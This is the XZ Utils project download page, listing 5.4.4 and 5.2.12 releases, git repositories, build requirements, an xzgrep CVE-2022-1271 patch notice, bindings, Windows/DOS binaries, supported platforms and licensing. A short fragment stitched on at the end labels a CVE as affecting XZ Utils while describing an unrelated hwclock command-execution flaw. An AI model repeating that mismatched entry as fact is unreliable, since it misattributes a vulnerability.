
Doxygen-generated liblzma API documentation is also included in the source packages since XZ Utils 5.4.2.

**Source code**

Versions 5.2.12, 5.4.3, and later have been signed with Jia Tan's OpenPGP key. The older files have been signed with Lasse Collin's OpenPGP key.

See the NEWS file for a summary of changes between versions.

**Stable**

5.4.4 was released on 2023-08-02. A minor bug fix release 5.2.12 to the old stable branch was made on 2023-05-04. This is probably the last release in the 5.2.x series.

XZ Utils releases are hosted on GitHub and thus some of the links below redirect to the XZ Utils release section on GitHub. Release files are also available in the XZ Utils files section on Sourceforge.

xz-5.4.4.tar.gz (2808 KiB) signature  
xz-5.4.4.tar.bz2 (2116 KiB) signature  
xz-5.4.4.tar.zst (1680 KiB) signature  
xz-5.4.4.tar.xz (1623 KiB) signature

Probably the last release of the old stable branch:

xz-5.2.12.tar.gz (2140 KiB) signature  
xz-5.2.12.tar.bz2 (1593 KiB) signature  
xz-5.2.12.tar.zst (1317 KiB) signature  
xz-5.2.12.tar.xz (1275 KiB) signature

**Development**

The new APIs, command line options etc. in development releases should be considered unstable. Incompatible changes to unstable features may be done before they get included in a stable release.

There currently are no development releases.

**Old versions**

Source and binary packages of old XZ Utils releases are available on a separate page.

**Git repository**

The primary repository is on GitHub:

git clone https://github.com/tukaani-project/xz

It is mirrored with some delay to git.tukaani.org:

git clone https://git.tukaani.org/xz.git

Gitweb

Branches:

*   **master**: the latest development code
*   **v5.4**: fixes for the next 5.4.x release
*   **v5.2**: fixes for the next 5.2.x release
*   **v5.0**: fixes for the next 5.0.x release (unmaintained)

Building the code from the git repository requires GNU Autotools. Here are the _minimum_ versions that should work with XZ Utils; using the latest versions is strongly recommended:

*   Autoconf 2.69
*   Automake 1.12
*   gettext 0.19.6 (Note: autopoint depends on cvs!)
*   Libtool 2.4

The following are optional dependencies. The autogen.sh script will fail if they are missing but autogen.sh takes command line arguments to disable these dependencies.

*   po4a is needed for translated documentation (man pages). To build without po4a, use --no-po4a with autogen.sh.
*   Doxygen is needed to generate liblzma API documentation. To build without Doxygen, use --no-doxygen with autogen.sh.

**Security issues****xzgrep CVE-2022-1271, ZDI-CAN-16587**

A patch to fix a security vulnerability in xzgrep (CVE-2022-1271, ZDI-CAN-16587) was made public on 2022-04-07. The patch applies to 4.999.9beta to 5.2.5, 5.3.1alpha, and 5.3.2alpha. Newer XZ Utils releases include an improved fix for the problem.

It is a severe issue if an attacker can control the filenames that are given on the xzgrep command line. The vulnerability was discovered by cleemy desu wayo working with Trend Micro Zero Day Initiative. For more information, see the detailed description in the patch file linked below.

xzgrep-ZDI-CAN-16587.patch  
xzgrep-ZDI-CAN-16587.patch.sig

**Bindings****Python**

Python 3.3 includes bindings for liblzma. A backport of these bindings are available for Python 2 in the backports.lzma package.

lzmaffi is another Python binding which adds random-access decompression support.

The original Python 2 binding for liblzma is PylibLZMA.

**Perl**

Perl bindings for liblzma: IO-Compress-Lzma and Compress-Raw-Lzma.

**Haskell**

Haskell bindings.

**Delphi and Free Pascal**

Bindings and example programs for Delphi and Free Pascal are available here.

**Pre-built binaries**

Many free software operating systems already provide easy-to-install XZ Utils binaries. It doesn't make sense to provide links to all those here. Instead, binaries or links to websites providing binaries are listed here only for operating systems that don't have well-known repositories where users would get software like this.

If you have a website that provides up-to-date XZ Utils binaries for an operating system that meets the the criteria above, let me know and I will include a link here. Note that I won't host the binaries themselves without a good reason.

**Windows**

The Windows version of XZ Utils includes binaries for 32-bit and 64-bit x86. The binaries only depend on msvcrt.dll, which is available on Windows 98 and later out of the box.

*   Command line tools: xz, xzdec, lzmadec, lzmainfo
*   Shared (DLL) and static liblzma, required C header files, and liblzma.def to create import libraries for non-GNU toolchains (no import library is needed with GNU toolchain)
*   Documentation is in plain text (UTF-8) format. The man pages of the command line tools are included also as PDF.

5.2.10, 5.2.11, or 5.2.12 do not have anything significant for Windows so only 5.2.9 is here. 5.4.x builds are not provided for now.

xz-5.2.9-windows.zip (1473 KiB) signature  
xz-5.2.9-windows.7z (708 KiB) signature

**DOS**

The DOS version of XZ Utils includes only the xz command line tool and some documentation. The xz tool should work e.g. on FreeDOS (also in DOSEMU), MS-DOS, and Windows 95/98/98SE/ME. This doesn't necessarily work in DOSBox at all, and at least some problems are expected under Windows XP Command Prompt (signal handling doesn't work).

Since the DOS version is naturally going to get very little testing, it is recommended to use the Windows version instead of the DOS version if you need xz under Windows 98 or later. It is likely that that the DOS version will be updated only occasionally.

5.2.0 and later have experimental support for 8.3 filenames. See xz-dos.txt in the binary package or dos/README.txt in the source package for details.

xz-5.4.0-dos.zip (277 KiB) signature

The package includes some copylefted code from DJGPP and CWSDPMI. The relevant source code is available from their home pages, and copies are also available below.

djlsr205.zip (2000 KiB)  
djtst205.zip (1061 KiB)  
csdpmi7s.zip (88 KiB)

Juan Manuel Guerrero has made a more complete port of XZ Utils to DOS. It also has support for short file names (8.3), but the naming method is different from the one found in 5.2.0 and later. It is available from DJGPP mirrors under /current/v2apps (e.g. xz-500b.zip for 5.0.0 binaries).

**Supported platforms**

Below is an incomplete and somewhat vague (version numbers mostly missing) list of operating systems on which XZ Utils should work. The compiler(s) or toolchains are mentioned in parenthesis. GCC refers to GCC 3 or later. If you have additions or corrections, please email them to me.

*   GNU/Linux (GCC, Clang, ICC, IBM XL C)
*   GNU/HURD (GCC)
*   DragonflyBSD (GCC)
*   FreeBSD (GCC, Clang)
*   MirBSD (GCC)
*   NetBSD (GCC)
*   OpenBSD (Clang, GCC)
*   MINIX 3 (GCC) \[1\]
*   Haiku (GCC4)
*   Mac OS X (GCC)
*   Solaris 8, 9, 10, 11 (GCC, Sun Studio) \[3\]
*   Solaris 2.6, 7 (GCC)
*   HP-UX (GCC, HP ANSI C) \[2\]
*   Tru64 (GCC, Compaq C compiler) \[1\]
*   IRIX (MIPSpro) \[1\]
*   AIX (GCC, IBM XL C)
*   z/OS (IBM XL C)
*   QNX (compilers?)
*   OpenVMS (HP C compiler) \[1\]
*   OpenVOS 17 (GCC)
*   SCO OpenServer 5.0.7 (GCC 3.4.6, 4.2.4) \[4\]
*   Windows 95 and later (GCC/MinGW, GCC/MinGW-w64, GCC/Cygwin, GCC/Interix, Visual Studio (VS can only build liblzma)) \[1\]
*   OS/2, eComStation (GCC)
*   DOS e.g. FreeDOS and MS-DOS (GCC/DJGPP) \[1\]

\[1\] See also the platform-specific notes in the INSTALL file.

\[2\] 2010-09-22: HP ANSI C compiler crashes when compiling XZ Utils on PA-RISC. On Itanium there are no problems.

\[3\] On Solaris 8 and 9 one may need to pass ac\_cv\_prog\_cc\_c99= to configure if using Sun Studio.

\[4\] Use --disable-threads when running configure.

**Licensing**

The most interesting parts of XZ Utils (e.g. liblzma) are in the public domain. You can do whatever you want with the public domain parts.

Some parts of XZ Utils (e.g. build system and some utilities) are under different free software licenses such as GNU LGPLv2.1, GNU GPLv2, or GNU GPLv3.

See the file COPYING for more details.

CVE-2020-22916: XZ Utils

An issue was discovered in hwclock.13-v2.27 allows attackers to gain escalated privlidges or execute arbitrary commands via the path parameter when setting the date.

Tag

#mac